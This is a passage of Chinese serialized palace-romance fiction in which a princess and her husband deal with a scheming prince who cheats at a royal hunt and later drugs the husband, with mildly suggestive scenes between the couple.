风荷笑说:“奴婢方才打听到,今日朝会上有人参了明月公主一本,说她纵容下人打死了庄子上的人,还参与了放印子钱,陛下勃然大怒,当即罚了明月公主禁足半年。” 陆朝朝惊喜地从坐直了身子:“当真?” 风荷点头:“千真万确。” 陆朝朝唇角忍不住上翘,陛下在朝会上训斥责罚陆皎月,损了她的名声,对她这种人来说,可谓是天大的屈辱。陆朝朝忍不住拍手叫好,想到了谢妄。此事是谢妄所为吧,他前些日子所说的让她付出代价,就是这件事吧? 这手段,还挺正当的…… 陆朝朝面上喜色难忍,想了想,起身往书房去寻谢妄。 她抬手叩门:“是我。” 听见谢妄低沉的嗓音传来:“进来。” 陆朝朝推开门,清了清嗓子,说:“谢谢你。” 谢妄知道她道谢是为陆皎月的事,道:“不客气。” 他一顿,又说:“所以,朝朝可以不再迁怒于我了么?” 他说起此事,陆朝朝脸上又生出些绯粉色,她道:“不可以,一码归一码。” 她说罢,便转身离开。 话虽如此,这日夜里,陆朝朝还是和谢妄一起用了晚饭。 陆朝朝看了眼谢妄,正对上谢妄的视线,他又用那些带些暧昧的眼神看陆朝朝,陆朝朝避开他的视线,不满道:“我发觉你是越来越得寸进尺了,你可别忘了,你还在追求我,我答不答应那还难说呢。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第五十一心仿佛漏跳了一拍。 陆朝朝兀自拿筷子戳了戳碗里的饭,又道一句:“不要老是用那种眼神看我。” 谢妄反问:“哪种眼神?” 陆朝朝嗔他一眼:“你自己知道。” 谢妄:“我不知道。” 陆朝朝戳碗里的饭的力道大了些,小声说:“就是那种色眯眯的,黏糊糊的……” 每次谢妄一用那种眼神看她,就让她想到那天的羞窘。 谢妄哦了声,若有所思:“原来我近来看朝朝是这种眼神,我竟不知道。我还以为我应当是含情脉脉的眼神。” 陆朝朝:“……” 她道:“反正你不要用那种眼神看我……” 一顿,又道:“还有那天的事,你也忘掉。” 谢妄挑眉:“这恐怕不行。” 陆朝朝微微皱眉:“为什么不行?” 谢妄说:“忘不掉。” “此生难忘。” 陆朝朝小脸更红了,“你、你、你……” 你了半天,也没说出什么来。 谢妄却还继续说下去:“难道朝朝能忘掉吗?” 陆朝朝不语,她当然忘不掉,她这些日子记起旧事常常面红心跳,怎么可能轻易忘掉?她这辈子从未和一个男人有过这样亲近的接触,那个男人还是谢妄。 可是那天晚上的她真的让她自己都不愿回想,她只想忘掉。 她故作镇定道:“当然能忘掉,又不是什么需要记忆深刻的事,不是么?” 她尽力想把那天的事讲成一件再寻常不过的小事,但是谢妄好像误解了她的意思。 他听了自己的话,一时长眸微蹙,竟问:“记忆不够深刻么?朝朝的意思是,我的技术不够好?可是那天朝朝似乎很兴奋,很享受。”她简直在他怀里绽放,光是回忆起来,都足够叫他热血沸腾。 陆朝朝最不想听见这话了,她当即反驳:“什么享受?我才没有,那只是因为我被下了药好不好?你要是被下了药,你也会一副很享受的样子啊!” 她说罢,却听谢妄说:“不必被下药,面对朝朝,我就很享受了。” 陆朝朝:“…………” 她就不该和他讨论这个话题,简直就是自己挖坑给自己跳,这个没皮没脸的家伙,怎么能脸不红心不跳地说出这些话的。他以前不是不近女色吗,怎么现在一副老流氓的样子啊,果然都是装的。 虽然他那天是很享受。 她羞恼道:“我吃饱了,我要休息了,你赶紧走。” 她搁下银箸,起身离开膳桌。 谢妄看着她恼羞成怒的模样,一时忍不住微勾嘴角:“若是朝朝觉得是为着那药的缘故,那下回朝朝可以再试试,我的技术到底如何,我十分乐意效劳。” 陆朝朝恼羞成怒,下逐客令:“你还不快滚。” 什么技术,什么再试试,谢妄这个臭流氓,老色^鬼。 七月流火,九月授衣,中秋之后,暑气渐渐消退,天气亦开始转凉,舒适了许多。 崇光帝便起了兴致,准备去北行宫围猎,不日便出发。 陆朝朝与谢妄亦同去。 陆朝朝常跟着崇光帝来北行宫围猎,对此轻车熟路,亦十分热衷。她的骑射功夫一般,不过每年也会参与其中,图个娱乐。崇光帝知晓她的性子,今年不同往日,便打趣说:“朝朝今年有了帮手,可不容小觑咯。” 陆朝朝顺着崇光帝的视线看向谢妄,故意道:“谁要他做帮手?哼。” 陆皎月被禁足,此番未能随行,四公主她们倒是来了。四公主听了这话,笑说:“谢大人的实力的确有目共睹,可比两位皇兄还厉害些,若是他们夫妻一体,定被他们赢了。不过父皇,咱们围猎的规矩可是不能组队的,是不是?谢大人可不能帮着三皇姐作弊哦。” 陆朝朝轻哼一声:“我才不要他帮呢。” 崇光帝听着她们的话,看向围猎的林子,有些感慨:“若是朕再年轻一些,定然也下场与你们玩上一玩,可惜,朕老咯,这种事还是得看你们年轻人的。传朕旨意,此番狩猎拔得头筹者,朕重重有赏。” 说罢,那边准备事宜也差不多,侍卫们已经将猎物放进了林中,回来禀报。崇光帝满意地点点头,宣布狩猎开始,以一炷香时间为限,最后结算时清算猎物,决出胜负。此番放进去的猎物有鹿、狐狸、兔子等,按照猎物的体型,清算时的分数也不同,鹿体型最大,又迅捷灵敏,自然分数高些,兔子体型小,分数就低些。 参加狩猎的不分男女,只要想参加,皆可以报名。大皇子与二皇子想在崇光帝面前出风头,自然当仁不让,还有些年纪不大的官员,以及一些世家公子、贵女们都参与其中,陆朝朝和四公主也骑着马进了林子。 进林子时,谢妄跟在陆朝朝身侧,陆朝朝看他一眼,道:“你不必帮我,且猎你自己的。” 谢妄道:“那我便为朝朝赢下头筹。” 他说罢,骑着马走了。 陆朝朝看他背影,这男人好生自负,不过他倒也有说这话的本事,前些年来行宫围猎,陆朝朝见识过谢妄的骑射,的确不俗。她撇撇嘴,转去寻找自己的猎物。 她对自己的水平有自知之明,头筹是争不到了,今日的目标是猎得一只狐狸和一只兔子便好。 陆朝朝骑着马,专心致志搜寻着猎物。 不知怎么回事,竟连一只猎物都没看见,她只得继续往前找寻。 又过了会儿,猎物没找到,竟撞上了陆明礼的人在作弊。 只见陆明礼的侍从鬼鬼祟祟溜进林中,将准备好的猎物交给陆明礼,“二殿下放心,一切都安排妥当了,此番狩猎定是二殿下拔得头筹。” 陆明礼嗯了声,有些烦躁,前段时间他因为那件事被崇光帝训斥了,这回狩猎想在崇光帝面前讨他欢心,他对头名势在必得,但凭他自己的实力自然拿不到头名,只好暗地里做了些手脚,不仅让侍从偷偷送猎物进来,还拉拢了几个世家公子,让他们把猎到的猎物给自己。如此稳妥许多,但还有一个变数,是谢妄。 上回也是因为谢妄不肯帮自己,所以他才被父皇训斥,这回他可不能再让谢妄坏了自己的好事。陆明礼吩咐了人暗中跟着谢妄,阻止他狩猎,只要他看见猎物,便将猎物惊走。 陆朝朝在一旁听得一清二楚,对陆明礼的行径感到不耻,这种事也要弄虚作假,实在令人作呕。陆朝朝对这位二皇兄本就不喜欢,他虽是皇后嫡出,家世比大皇兄高贵,但为人一向下作,又好色,和陆皎月一样令人讨厌。 有时候陆朝朝也觉得很奇怪,那位皇后娘娘倒是人挺好的,待她也从不苛待,总是和颜悦色,怎的她生出的一双儿女,都如此令人讨厌? 这就好像谢阁老和谢夫人生出了谢妄一样令人疑惑。 她不会让陆明礼得逞,她要帮谢妄。 陆朝朝想着,调转马头,寻找谢妄踪迹。 找谢妄比找猎物容易,没一会儿就找到了。她叫住谢妄,朝他招了招手,示意他走近一些,道:“我方才看见二皇兄了,他使了些手段,要干扰你狩猎。” 她温热的呼吸喷洒在他耳侧,仿佛羽毛挠在他心上,叫他心里发痒。 谢妄看着她:“朝朝不希望我输?” 陆朝朝点头:“我当然不希望你输了,我才不要看到二皇兄用这种手段赢得头名。” 谢妄云淡风轻道:“那我便会赢。” 陆朝朝没好气地看了他一眼,这种时候了还耍什么帅啊。 二人才结束话头,谢妄余光里便出现了一头鹿的踪影。 与此同时,暗中跟着谢妄的侍从也有所动作,将一片树丛晃动起来,惊了那鹿,那鹿当即拔腿就跑。 陆朝朝有些着急:“这些人,我待会儿定要告诉父皇。” 她偏头看谢妄,却见谢妄起码追了上去,陆朝朝只好也骑马跟了上去。 映入眼帘的,是谢妄冷峻的侧脸,而后拉弓射出一箭。箭矢破空而出,迅疾穿出,正射中了那只鹿。 谢妄的动作利落又潇洒,陆朝朝停下脚步,心仿佛漏跳了一拍似的,视线定定落在谢妄身上,追随着他而去。 谢妄转过头来,胸有成竹地看向她,阳光从林中穿透缝隙,落在谢妄身上,看得陆朝朝喉头一渴,不由得吞咽一声。 谢妄已经走近到她跟前,陆朝朝才回过神来,有些心虚地移开视线,“你还挺厉害的嘛。” 谢妄道:“确实。” 一点也不谦虚,陆朝朝弯了弯唇角。 接下来的一段时间,虽然有人从中作梗,但谢妄还是猎到了不少的猎物。陆朝朝跟在他身边,连自己要猎猎物都忘了。 陆明礼的人见状,明白事情不妙,赶紧去禀报。 “二殿下,不好了,我们虽然尽力阻挠,但谢大人还是猎到了不少猎物。” 陆明礼闻言,面色阴翳,这个该死的谢妄…… 他一时恨上心头,骑马去找谢妄,远远地看见了谢妄和陆朝朝的身影。陆明礼拉开弓,朝着谢妄的身影射出一箭。 破空之声来得突然,从陆朝朝眼前擦过,直奔谢妄而去。 她心猛地提到嗓子眼,惊呼一声:“小心!” 谢妄反应还算快,闪身避开那箭,而后看向箭射来的方向,对上陆明礼阴森森的笑容。陆明礼说:“抱歉啊,谢大人,手误了。” 陆朝朝才不信陆明礼的鬼话,急道:“什么手误?你就是故意的吧,下作至极,我待会儿就告诉父皇,你不仅作弊,还意图伤人。” 第52章 第五十二双双跌进温泉汤池。 听见陆朝朝这话,陆明礼脸上笑容顿时消散,眼神中的阴翳却更深几分,他从前对陆朝朝倒没什么太大的怨恨,不像他那一母同胞的妹妹那般,因着陆朝朝不过是个女人,再受宠也只是公主,而他却是皇子,一个公主又何须放在心上。但此时此刻,他竟有几分共情陆皎月了,这个贱人,还真是令人厌恶,她竟然和自己对着干。 陆明礼的目光在陆朝朝与谢妄身上扫过,心里只道这对狗男女,都上赶着碍自己的事。面上却不得不端出一副和顺的笑容,同他们道歉:“昭阳,此事是我不对,我一时不察,失了准头,差点伤到妹夫,你护夫心切,皇兄能理解。皇兄在此向你与妹夫道歉,但是你怎么能这般恶意揣测皇兄呢?我当真只是一时失误。” 若是叫她闹大到父皇面前,只怕父皇对自己的印象又要坏上几分,当务之急还是先稳住她再说。陆明礼挤出笑容,看向谢妄:“抱歉了,妹夫。” 陆朝朝冷笑一声,并不信他的狡辩:“我方才可都瞧得一清二楚,你指使你的手下私自带猎物进来给你,装作是你自己猎到的,又差人去干扰谢妄狩猎。你以为你此刻两句花言巧语,便能让此事作罢?我告诉你,没可能,我势必要告诉父皇,让父皇再惩治你一番。” “你!”陆明礼见她不吃自己这套,装不下去,变了脸色。 陆朝朝说罢,掉转马头,往出林子的方向走。 谢妄见状,自然是跟着陆朝朝走。 他们这般闹过一番,出来时一炷香也差不多燃到底了。陆朝朝跳下马,直奔崇光帝去,“父皇,儿臣有事禀报。方才儿臣在林中狩猎,撞见二皇兄作弊,指使手下将别的猎物带进来,装成他猎到的,不仅如此,他还指使手下干扰谢妄狩猎,在事情不成之后,更是想暗箭伤人。如此行径,令人不耻,也扰乱了狩猎得公平性,还请父皇秉公定夺。” 陆朝朝说罢,看向崇光帝。 崇光帝脸色沉了下去,看向跟在后面出来的陆明礼。陆明礼触到崇光帝脸色,已然知道事情败露,只能硬着头皮辩驳:“儿臣……儿臣的确做了些错事,儿臣是想讨父皇欢心,这才命人作弊,但儿臣并非想伤谢大人,儿臣只是手误。” 前面的罪名他能认,暗箭伤人却不能认。 崇光帝盯着陆明礼,对他愈发失望,前些日子他做的事已经叫自己很失望,没想到他不仅没有意识到自己的错误,反而想在这些事上卖乖讨好,还走歪门邪道。崇光帝叹了声,训斥道:“你实在没什么长进,令朕失望。” 一旁的皇后见状,心跟着沉了沉,上前替二皇子求情:“陛下,二皇子他也是想讨陛下欢心,只是用错了方式,至于伤人,定是误会一场,明礼他怎么会做出这么歹毒的事来呢?” 崇光帝看向皇后,只道:“不论如何,他作弊便是不对,朕不能徇私自己的儿子,便罚他俸禄半年,再写一封自省书吧。” 崇光帝摇了摇头,又捏眉心,原本的好兴致都没了。 陆朝朝见崇光帝脸色不好看,赶紧上前关心:“父皇别生气,保重身子最重要。” 她有些懊恼,自己还是太冲动了,这样贸然说出来,反而气到父皇了。 崇光帝拍了拍她的手,无论如何,狩猎结束,该进行的流程还得进行,他命人清点了各自的猎物,最后排出名次,仍是谢妄第一。 崇光帝笑道:“缜之年轻英勇,朕心甚慰。” 崇光帝准备的赏赐不少,谢妄领旨谢恩,而后将那些赏赐转交给陆朝朝。 他当着众人的面这般而为,众人看在眼里,不禁以眼神打趣这二人。 陆朝朝被他们促狭的目光看得有些不好意思,小声道:“我又不缺这些,你给我做什么?” 谢妄只说:“先前便说了,今日是为朝朝而赢。” 陆朝朝不由得面上一热。 又听谢妄说:“方才二皇子说,朝朝护夫心切,朝朝并未反驳。” 他一顿,看向陆朝朝的眼神更灼三分。 陆朝朝飞快眨动睫羽,解释说:“那种情况,我若是反驳这种无关紧要的事,岂不是显得很奇怪?” 她可没有护夫心切。 谢妄并不对她的解释做任何态度,又说道:“朝朝得知二皇子派人来干扰我狩猎,竟特意来告知我。后来二皇子的箭射过来时,朝朝也很担心我,是吗?” 陆朝朝被他问得有些心虚,她记起自己方才为他的怦然一刻,强撑道:“换做是谁,我都一样会告知,会担心。你别想太多。” 谢妄默了默,只说:“无论如何,我很高兴。” 陆朝朝不想跟他说了:“我要去陪父皇了。” 她转身去找崇光帝,陪着崇光帝回去休息。 谢妄看着她的背影,眸色柔软不已,她对自己的心,似乎开始有所动摇。 陆朝朝陪崇光帝用了午膳,而后才回到自己的宫中。 谢妄与她在外人眼里就是夫妻,自然安排住处时也安排在一起。虽住在一间宫殿,但二 人还是分房而居,谢妄住在偏殿。 陆朝朝回宫时,没见着谢妄,听水月说,谢妄去找谢阁老他们了。她一时觉得松了口气,又隐隐地有些失望。 她怕见到谢妄,因为她心虚。 思及那一刻的晃神,陆朝朝也不知道自己为何而晃神。现在回忆起来,好像也还是觉得那一瞬的谢妄当真堪称风姿出众。 她在桌边坐下,自顾自斟茶,饮下一口,才觉心绪平复下来。 陆朝朝下晌歇了中觉,这一觉本想小憩,不知怎么竟睡了一个下午,醒来时已乌金西坠,满室的金色夕阳。她捂着心口,有些迟滞地回想起自己的梦。 她梦到谢妄。 陆朝朝清亮的眸子流转着,不知想到什么,咬了咬下唇。 行宫这边有温泉,今日骑马狩猎有些耗费体力,陆朝朝便让风荷她们准备,换了衣裳去温泉里泡一泡。泡温泉不能完全光着身子,有专门准备好的衣裳。 温热的泉水浸泡着她的身体,洗去她的疲惫,陆朝朝靠着温泉壁,甚是放松。她仰面躺着,闭着眼睛,什么也没想。 不知泡了多久,陆朝朝白皙的脸蛋都染上一层粉色,温泉不能泡太久,她起身走出汤池,打算在旁边休息片刻,再回去泡。她在榻上坐下,喝了口茶水,听见隔壁传来些微的水声。 温泉小苑自然不止一个汤池,隔壁也有。 是谢妄吗?他回来了? 陆朝朝转着手中的杯盏,忽地大声惊叫一声:“啊!” 片刻之后,便听见了仓促的水声,以及脚步声从隔壁传来。 未几,谢妄便出现在她面前,眼神里有还未曾褪去的担忧和紧张。 谢妄回来时,听她们说她在温泉小苑里泡澡,便也过来了。方才听得她忽然的惊叫,还以为她出了什么事,谁知她竟安然无恙地坐在榻上。 谢妄眸色一沉。 她身上只着了一件单薄的纱裙,手臂与肩颈都裸^露在外,一大片的雪,晃着他的眼。而那裙子沾过水后,更紧地贴合肌肤,愈发衬出她窈窕的曲线。 谢妄眼神定在她身上,沉了又沉。 陆朝朝还未意识到,被他盯着看了好一会儿才反应过来,低头看了眼自己的着装,这回真是倒吸一口气,急道:“你不许看,转过去!” 她适才一时起了逗弄的心思,压根没想这么多,这下真是被他占到便宜了。 她心思有些慌乱,抬手环抱胸前,试图遮挡些什么。但实际上什么也挡不住。 陆朝朝心思慌乱,更是后知后觉地意识到,谢妄也只穿了一身单薄的衣裳,沾湿水后,他坚实的胸膛与腹肌皆一清二楚。 陆朝朝心道失策,方才便不该起那一下玩心。 “你怎么还不转过去?”陆朝朝不满。 谢妄理直气壮:“朝朝故意将我骗来,不是为了看我?” 陆朝朝:“……” 她才没有那种心思,她也不知道自己刚才怎么想的,就是想知道如果她叫一声,谢妄会不会立刻就过来。 “我才没有。”她辩解,察觉到他的眼神还直勾勾盯着自己看,急道,“你再看我,我要把你眼睛挖掉。” 谢妄并不受她的威胁,她会说一些听来可怖的话,但实际上并不会做任何事,尽管世人道她娇纵,可她却并未做过太多出格的事,连苛待宫婢都不曾。 “可我早都看过了。”谢妄说。 那天晚上,他早已经把她看遍,用眼神仔细临摹过,记在脑海里。 陆朝朝听他这么说,马上也想到了那天晚上的事,她更面红耳赤,羞窘得不得了,只想找个地方把自己藏起来。她看向温泉汤池,当即决定藏进温泉汤池里。 陆朝朝脚上还有些湿,动作仓促之间,脚下一滑,身影一个踉跄,在摔倒之前被一个坚实的臂膀接住。 扑通一声,二人双双跌进温泉汤池之中,溅起巨大的水花。 陆朝朝从水中探出头,本能地扒着谢妄的脖子,她咳嗽了两声,才发现自己整个人像藤蔓一般缠绕在谢妄身上。她的胳膊正趴在他胸口,能感觉到他胸口的心跳和温度,而腿更是缠在他腰上,温泉水将他们二人浮起,又因他们的重量而下坠。这姿势太过亲近,又像极了那天夜里,陆朝朝脸色更红,慌乱地松开手脚,想要离他远一些。 谢妄却伸手横在她后腰,拦住她的去路,反而将她抱得更紧。 第53章 第五十三这么亲密。 谢妄手掌的温度滚烫,隔着单薄的衣料从她后腰上传来,陆朝朝有种不太妙的预感,觉得自己今天方才那一时兴起简直是天大的错误。她心跳加速,隔着胸膛简直快要蹦出来,吞咽一声,看向谢妄。 与谢妄四目相对里,她看见谢妄的眼神,好像那天早上他强行让她帮他时候的眼神,同样的充满谷欠念的浑浊,将她拢住。她睫羽扇动,心里不禁发虚,先行讨饶道:“你别乱来。” 谢妄只是视线灼^灼盯住她:“乱来是指什么?” 陆朝朝讲话都结巴起来:“乱来当然就是……就是……” 她话音未落,便感觉到谢妄在她后腰上的手臂收紧了些,她便被迫离他更近。他们之间的姿势本来就很微妙,她可谓是跨在他身上,贴得更近之后,她便感觉到了谢妄的存在。 陆朝朝面颊迅速爬上一抹绯红。 谢妄嗓音有些低哑:“朝朝不是说我技术不行么?今日再试试,如何?” 陆朝朝摇头:“……不。” 谢妄却不肯松开手放她走,反而将她推得更近,近到贴在她身边。 陆朝朝面上更热,温泉汤池中的水本就温热,这一下更熏得她额角一层薄汗,沿着她的脸颊往下淌。她来泡温泉之前,已然洗去脂粉,当下是未着粉黛,清水芙蓉。即便如此,与陆朝朝平日里的样子也相差不大,只是更为清丽娇憨。 谢妄的眼神注视着她的汗珠,他忽地腾出一只手接住她脸上的汗珠,汗珠掉落在他湿漉漉的手心里,不知怎么,看得陆朝朝心跳更快。 她睫羽扇动着,咬住下唇。 谢妄捏住她的下巴,拇指指腹轻抚上她的唇瓣,示意她松开咬住的唇。他的指腹也是湿漉漉的,带着无尽的热意,陆朝朝不禁瑟缩了下。 陆朝朝抬眸看他,撞入他的视线。 他的眼睛越来越近,近到咫尺之遥时,陆朝朝不禁闭上了眼睛。 失去了视觉的下一瞬,唇上便感觉到了温热的触觉,先是温柔的衔着,而后得寸进尺地侵入,搅弄风云。 不是第一次了,轻而易举地勾起陆朝朝的记忆,仍旧叫她心跳得很快。她感觉自己脑袋都被这汤池的水汽熏得昏沉,思绪迟滞,所以辗转过好几回,恍然记起,那天晚上谢妄也吻了她。 不止一次,重复地,和他的手指一样不停歇地。 他没说的,她不止淌了他一手,还有唇齿之间溢出来的。 陆朝朝一顿,忽地睁开眼看他。 谢妄捧着她的脸,目光贪恋,唇角微微勾出一抹弧度。 他的确很少笑,又因他五官冷冽,不笑的时候常给人一种拒人于千里之外的感觉。但此刻,他在笑,好像这满室的温热也把他融化了一样。 水波推着他们二人浮沉不定,那点点的磨蹭像是自然而然发生的。 陆朝朝攀着谢妄的肩,呼吸有些乱。 关于那天晚上的记忆是模糊的,隔了水雾一般,但此刻不是,此刻是真实可感的,她清醒地知道他们在干什么。亦或者,她压根不清醒,倘若她清醒的话,应该推开他,呵斥他的所作所为,而不是什么也没做。 陆朝朝下意识想咬住自己的唇,无奈唇正被某人咬着,她只得将腿收得更紧,想让虚浮不定的自己找到一个落点。而这一举动,无异于火上浇油。 谢妄呼吸忽地重了些,掐住她的腰。 温泉汤池水波 涟涟,陆朝朝理智难得回归了些,她无力地推了推谢妄,小声说:“……不要。” 她害怕谢妄更进一步。 陆朝朝感觉着他的存在,她当时虽未仔细听嬷嬷说,但大致还是了解一些,听说会疼的。 陆朝朝还未做好那准备。 谢妄简短地嗯了声:“别怕。” 温泉汤池中的水都冷了,陆朝朝裹着棉巾,脸红得不得了,不知是热水熏的,还是羞臊的。她完全不敢看旁边的谢妄,更不敢回忆方才发生的一切。 她今日泡的时间太久,风荷有些担忧地在门外发问:“殿下?” “我在。”陆朝朝慌忙应了声,看向一边的谢妄,心虚地交代,“你快回去,别让风荷看见。” 谢妄微微凝眉:“我很见不得人吗?” 陆朝朝瞪他一眼:“快点!” 谢妄没再说什么,起身回了自己那边。 风荷推门进来,看见陆朝朝有些呆滞地裹着棉巾站在原地,关切地唤了声:“殿下?” 陆朝朝回过神来:“没事。” 风荷见她没什么异常,只是比平时出了些汗,从一旁的架子上拿来干净的棉巾和换洗衣物,伺候陆朝朝换上。陆朝朝解下身上的棉巾,褪下湿透的衣服,张开手让风荷擦拭。 风荷眸光落在她腰上,眼尖地看见了一些印子,疑惑道:“殿下腰上是怎么弄的?” 陆朝朝被她一说,小脸通红,想到那些印子的由来,解释说:“……没什么,嗑了一下。” 不止腰上有,腿侧更是。 她怕风荷再看见,赶紧穿好衣服,将一切都掩藏住,匆匆回了寝间里。 水月过来替她梳头,见她脸色红润,并未多想,以为她是泡温泉泡久了,道:“殿下下回还是泡的时间短些比较好,奴婢听说这温泉泡久了人容易头晕。” 陆朝朝晕乎乎地点头:“嗯,是有些头晕。” 她梳洗过后,便道有些疲惫,要躺下休息。幔帐垂落,隔绝了外间的动静,陆朝朝侧身躺着,其实根本睡不着,她就是心里乱得厉害,想自己一个人静一静。 但是她躺下来一点心里一点也不静,满脑子都是在温泉汤池里发生的一切。 她到底怎么想的啊?怎么能…… 陆朝朝又下意识咬唇,一咬唇便又想到那些绵长潮湿的吻,也是不得了。 陆朝朝翻了个身,只觉得腿侧还隐隐作痛。 她将被子盖住脑袋,闭上眼睛。 这下怎么面对谢妄? 陆朝朝兀自燥动了会儿,又想,其实谢妄也没比她好到哪里去吧。 她从来没见过这副模样的谢妄,一点都不像他了。 这天夜里,陆朝朝当然睡得并不好,翌日一早,还打着哈欠,便和谢妄迎面遇上。 谢妄先一步开口与她打招呼:“早。” 陆朝朝很不自在地移开视线:“早啊。” 两个人对面坐着用早膳,陆朝朝比以往沉默许多,谢妄倒是一切如常,好像一点也不觉尴尬。当然了,他没皮没脸的,他才不觉得尴尬呢。 陆朝朝心里想着,瞥了眼谢妄,对上谢妄的眼神,更暧^昧了。 她慌乱地别开眼。 这一顿饭自然也没心思吃,陆朝朝落荒而逃一般,说自己要去找崇光帝,就走了,只留给谢妄一个背影。 谢妄看着她的背影,嘴角含笑。 他们还要在行宫里待两日才启程回京,虽说找崇光帝是借口,但也是真的,昨日崇光帝被二皇子气到,陆朝朝还有些担心他的身体。到崇光帝住的宫中时,崇光帝刚用过早膳,陆朝朝陪着崇光帝说了会儿话。崇光帝还要处理些正事,没办法陪着陆朝朝,陆朝朝只好先离开了。 从崇光帝那儿离开之后,陆朝朝在行宫里走着,她不想回自己的住处,感觉和谢妄在一块好尴尬,她不想面对谢妄。想了想,陆朝朝决定去找傅宝嘉。 在去找傅宝嘉的路上,陆朝朝和章安澜遇上了。 章安澜一见到她,面上是并不掩藏的欢喜。 “臣见过殿下,给殿下请安。” 陆朝朝被他眼神中的欣喜刺到,想到自己昨晚和谢妄的亲密,愈发有些心虚。 “章大人。”她笑了笑回应。 她喜欢章安澜,可是…… 陆朝朝心烦意乱,不知道怎么面对章安澜,寒暄了两句就走了- “宝嘉,我跟你说,我竟然是个三心二意的人。”陆朝朝撑住下巴,语气惆怅。 傅宝嘉不知缘由,忙问怎么回事。 陆朝朝便将事情简单说了,而后叹了声:“我喜欢的人应该是章安澜才对,可是我竟然觉得也不排斥和谢妄……” 傅宝嘉听完大惊失色:“你们那个了?” 陆朝朝摇头:“没有,但是也差不多吧……” 反正也是戳来戳去了。 傅宝嘉缓了缓,才道:“也没有啊,这怎叫三心二意呢?男人还三妻四妾呢,你不过是犯了男人都会犯的错罢了。” 她笑着打趣,而后正色说:“你从前喜欢章安澜,是因为章安澜一表人才,又风度翩翩,喜欢他乃人之常情嘛。不过你与章安澜相处不多,这种感情基础不够深厚。可是谢妄就不同了,你跟他有这么多年冤家路窄的情谊在,又成婚三个月,也是人之常情嘛。” 陆朝朝又叹了声:“我刚才在路上遇上章安澜了,分明我与他也没什么,只是他见着我很是惊喜,那种惊喜让我感觉有些愧疚。” 傅宝嘉说:“朝朝,你无需对他愧疚,他争不过谢妄,那是他的不是,他不行,与你何干?事已至此,章安澜已然输了,我只能替他惋惜。但是话又说回来,你跟我说说,那种事真的有话本里写的那么……吗?” 陆朝朝脸色一红:“……不知道。” 她完全是晕乎乎的,再说了,他们又没有真的做。 傅宝嘉还想追问,陆朝朝捧住脸颊,打断了她的话:“你能不能别问我了,你自己不是快要成亲了吗?你们小两口是两情相悦,到时候自己就知道了。” 傅宝嘉只得失望地开口:“好吧好吧,那我不问这个了。那你和谢妄现在是什么情况了?都这么亲密了。” 第54章 第五十四我此生只对你动过心。 陆朝朝摇头:“不知道,我见着他就觉得尴尬。” 傅宝嘉问:“他就没说什么?” 陆朝朝还是摇头:“没有。” 傅宝嘉还想再问,被陆朝朝打断,陆朝朝拽住她的胳膊:“别问这些了,咱们出去玩吧。” 二人出了门,在行宫之内逛玩。 陆明礼因着昨日之事被崇光帝训斥,心中很是不忿,他原本想借此机会在崇光帝面前博回好感,没料到中途又被陆朝朝横插一脚。他今日一早去求见崇光帝,结果崇光帝并未见他,只叫他回去。 “父皇连见都不肯见我,恐怕这回是真的恼了我。父皇生我的气便也罢了,听说大皇子还趁机献殷勤,这可怎么办?”陆明礼心情阴郁,连连叹气。 侍从安慰道:“殿下别担心,陛下只是暂时在气头上,等过些日子,定然会原谅殿下的。至于大皇子,他出身卑微,哪里比得上您?” 陆明礼冷笑一声:“出身卑微又如何,只要父皇疼爱,愿意抬举他……” 陆明礼说着,越发恼怒,若是父皇因此立大皇子为太子…… 他轻啧一声,心中烦闷,一抬头,远远撞见了陆朝朝与傅宝嘉二人说笑的身影。 她倒是自在,还笑得如此开心,却把他害惨了。他真不理解,再怎么说,他还是陆朝朝的亲哥哥,而谢妄却是个外人,她宁愿帮着外人,也不愿意看在兄妹情份上放他一马,他那个好妹妹说得对,陆朝朝就是个小贱人。 陆朝朝唇边的笑容愈发刺痛陆明礼的心,他心中恨意渐浓,心道总该好好整整这个小贱人,无论如何出一口恶气。 父皇宠爱她,若是从她身上下手,父皇知晓定然会严查,到时候若是查到自己身上,只会更引火烧身,惹怒父皇。陆明礼心思一转,想到谢妄。 她那日如此护着谢妄,想来还真是对谢妄情根深种,既然如此,不如就从谢妄身上下手好了。 陆明礼招手唤来侍从,吩咐说:“你传我的令,去请谢大人过来一叙,就说我为昨日之事赔礼道歉,请他务必赏光。” 侍从应下,去请谢妄。 陆明礼看着侍从背影,露出一个奸笑。 听说陆明礼邀自己前去,谢妄微蹙眉头,昨日陆明礼显然故意朝自己射出那支箭,他只觉这位二皇子愚钝至极,又蠢又毒。他才被崇光帝训斥过,今日来请自己,不会蠢到自掘坟墓在这关头再害自己,至于这所谓赔礼道歉,大概是假意,做个样子给崇光帝看。 谢妄思忖片刻,还是应了:“臣会准时而至。” 侍从回来禀报,陆明礼挑了挑眉,命他们准备好酒好菜:“今夜可得好好招待谢大人。” 及至夜色四合,庭中灯影惶惶。 陆明礼端出一个虚伪的笑容,客气道:“谢大人今日愿意前来赴约,我实在不胜感激。今日邀谢大人前来,是为昨日之事向谢大人赔礼道歉,虽说是我无心之失,但到底是失了手,险些伤到谢大人,我这心里实在过意不去。我敬你一杯。” 陆明礼说罢,仰头饮尽一杯。 他又道:“平时咱们论君臣,但今夜,就不论了,说起来,谢大人还是我的妹夫。昨日三皇妹如此生气,也情有可原,实在是我的不是。三皇妹与妹夫夫妻恩爱,令人羡慕,我再敬你们一杯。” 陆明礼说着,又饮一杯。 谢妄冷眼旁观他的虚情假意,出声打断:“殿下无需如此作态,今日这里只有你我二人。昨日之事到底是有意还是无心,殿下心里最为清楚。殿下有这心思做这些场面,不若好好想想如此为陛下分忧,如此为江山社稷为百姓多做一些事。” 陆明礼面色有些绷不住,他都如此做到这种地步,谢妄竟然一点面子也不给自己,实在狂妄至极,他不过是个臣子,竟然丝毫不把自己放在眼里。 陆明礼扯出一个笑容:“妹夫说的哪里话,我自然是无心,今日也自然是真心想和妹夫道歉。” 他看了眼谢妄眼前的杯盏,谢妄不喝,也无妨,他还在后手,只需要再拖延一些时间。 陆明礼还欲再说些什么,门外有人来禀,似乎是发生了什么事。陆明礼脸色有些难看,转而对谢妄道:“实在抱歉,妹夫,我有些事情恐怕要处理一下,还请妹夫在此稍候片刻,我去去就回。” 谢妄虽不解,还是道:“殿下请便。” 陆明礼转身出了房门,给了门口的侍从一个眼色,侍从点了点头。 约莫一刻钟后,陆明礼去而复返。 他背过手,看向房中晕倒过去的谢妄,轻蔑一笑:“也不知道在狂什么,不过是个臣子,待有朝一日我登上宝座,第一个便拿你开刀,再将你们谢家一网打尽。” 